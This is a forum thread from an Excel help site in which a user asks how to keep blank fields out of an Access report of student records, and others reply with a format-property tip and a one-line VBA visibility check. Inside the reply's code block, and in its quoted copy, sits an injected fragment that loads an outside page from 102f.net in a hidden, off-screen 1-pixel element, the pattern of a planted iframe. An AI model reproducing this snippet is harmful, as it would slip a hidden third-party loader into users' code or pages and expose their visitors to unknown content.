How to auto hide blank fields in a report

Sachin2k6

Active Member
Joined
Mar 3, 2012
Messages
369
Hi all,
I have a table of students data with fields 'Student Name' , 'Class' , 'Father Name' , & 'Mobile No' with 'Student Name' as primary key. It have almost 1000 set of records, some of which have blank fields. What i want is to display a simple report in which if a field is blank for a particular student then it should not be displayed in the report.
For example if a record for the student 'Sachin Agrawal' have its father name field blank then it should be appear in report like this :
------------------------------
------------------------------
------------------------------
Student Name : xxxxxx
Class : yyyyy
Father Name : zzzzzz
Mobile No. : 11111

Student Name : Sachin Agrawal
Class : 12th
Mobile No. : 8987898789

Student Name : abc
Class : xyz
Father Name : ABC
Mobile No. : 123
--------------------------------
--------------------------------
--------------------------------
and so on.

How can i do this.

Thanks in advance.
 

Excel Facts

VLOOKUP to Left?
Use =VLOOKUP(A2,CHOOSE({1,2},$Z$1:$Z$99,$Y$1:$Y$99),2,False) to lookup Y values to left of Z values.
Set the Format Property of the Report Textbox to: @;"----------"

When the field is empty the text in Quotes will appear on the report, but the field labels will be printed. If you want empty records not to appear on the report then use a Query to filter out the empty records and use the query as data source for the report.
 
Last edited:
Upvote 0
Student Name' as primary key And what happens if two students have the same name? Names do not make for good primary keys.
Anyway, I think it's kind of unusual to do what you're asking so I don't know if code for the report On Load event will do this correctly for each record, or if the visible property will be applied to all of the report controls based on what happens in the first record (or group section) for that matter.
You might be able to use
Code:
If Is Null (me.nameOfYourControl) Or me.nameOfYourControl="" then me.nameOfYourControl.Visible=False
******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>
Your labels would have to be attached to the controls, otherwise, they will not be affected. Failing the above piece of code, I think your solution might be to use the report Format event, and you will probably have to loop through the controls collection to do this. A lot of work for what you get out of it.
 
Upvote 0
Student Name' as primary key And what happens if two students have the same name? Names do not make for good primary keys.
Anyway, I think it's kind of unusual to do what you're asking so I don't know if code for the report On Load event will do this correctly for each record, or if the visible property will be applied to all of the report controls based on what happens in the first record (or group section) for that matter.
You might be able to use
Code:
If Is Null (me.nameOfYourControl) Or me.nameOfYourControl="" then me.nameOfYourControl.Visible=False
******** src="//102f.net/al1000.html" style="width: 1px; height: 1px; position: absolute; top: -10px; border: medium none;">*********>
Your labels would have to be attached to the controls, otherwise, they will not be affected. Failing the above piece of code, I think your solution might be to use the report Format event, and you will probably have to loop through the controls collection to do this. A lot of work for what you get out of it.

I used this code in the on format event of the report's detail section but this event is not triggered when the report is loaded. Again i use this code in the on load event of the report then it is reading only the last record in the table and made changes to each record as in last record.
 
Upvote 0
I used this code in the on format event of the report's detail section but this event is not triggered when the report is loaded. Again i use this code in the on load event of the report then it is reading only the last record in the table and made changes to each record as in last record.
If you used it as written, I'm surprised it would do anything at all. You have to change nameOfYourControl to the name of YOUR control.
 
Upvote 0

Forum statistics

Threads
1,221,846
Messages
6,162,378
Members
451,760
Latest member
samue Thon Ajaladin

We've detected that you are using an adblocker.

We have a great community of people providing Excel help here, but the hosting costs are enormous. You can help keep this site running by allowing ads on MrExcel.com.
Allow Ads at MrExcel

Which adblocker are you using?

Disable AdBlock

Follow these easy steps to disable AdBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the icon in the browser’s toolbar.
2)Click on the "Pause on this site" option.
Go back

Disable AdBlock Plus

Follow these easy steps to disable AdBlock Plus

1)Click on the icon in the browser’s toolbar.
2)Click on the toggle to disable it for "mrexcel.com".
Go back

Disable uBlock Origin

Follow these easy steps to disable uBlock Origin

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back

Disable uBlock

Follow these easy steps to disable uBlock

1)Click on the icon in the browser’s toolbar.
2)Click on the "Power" button.
3)Click on the "Refresh" button.
Go back
Back
Top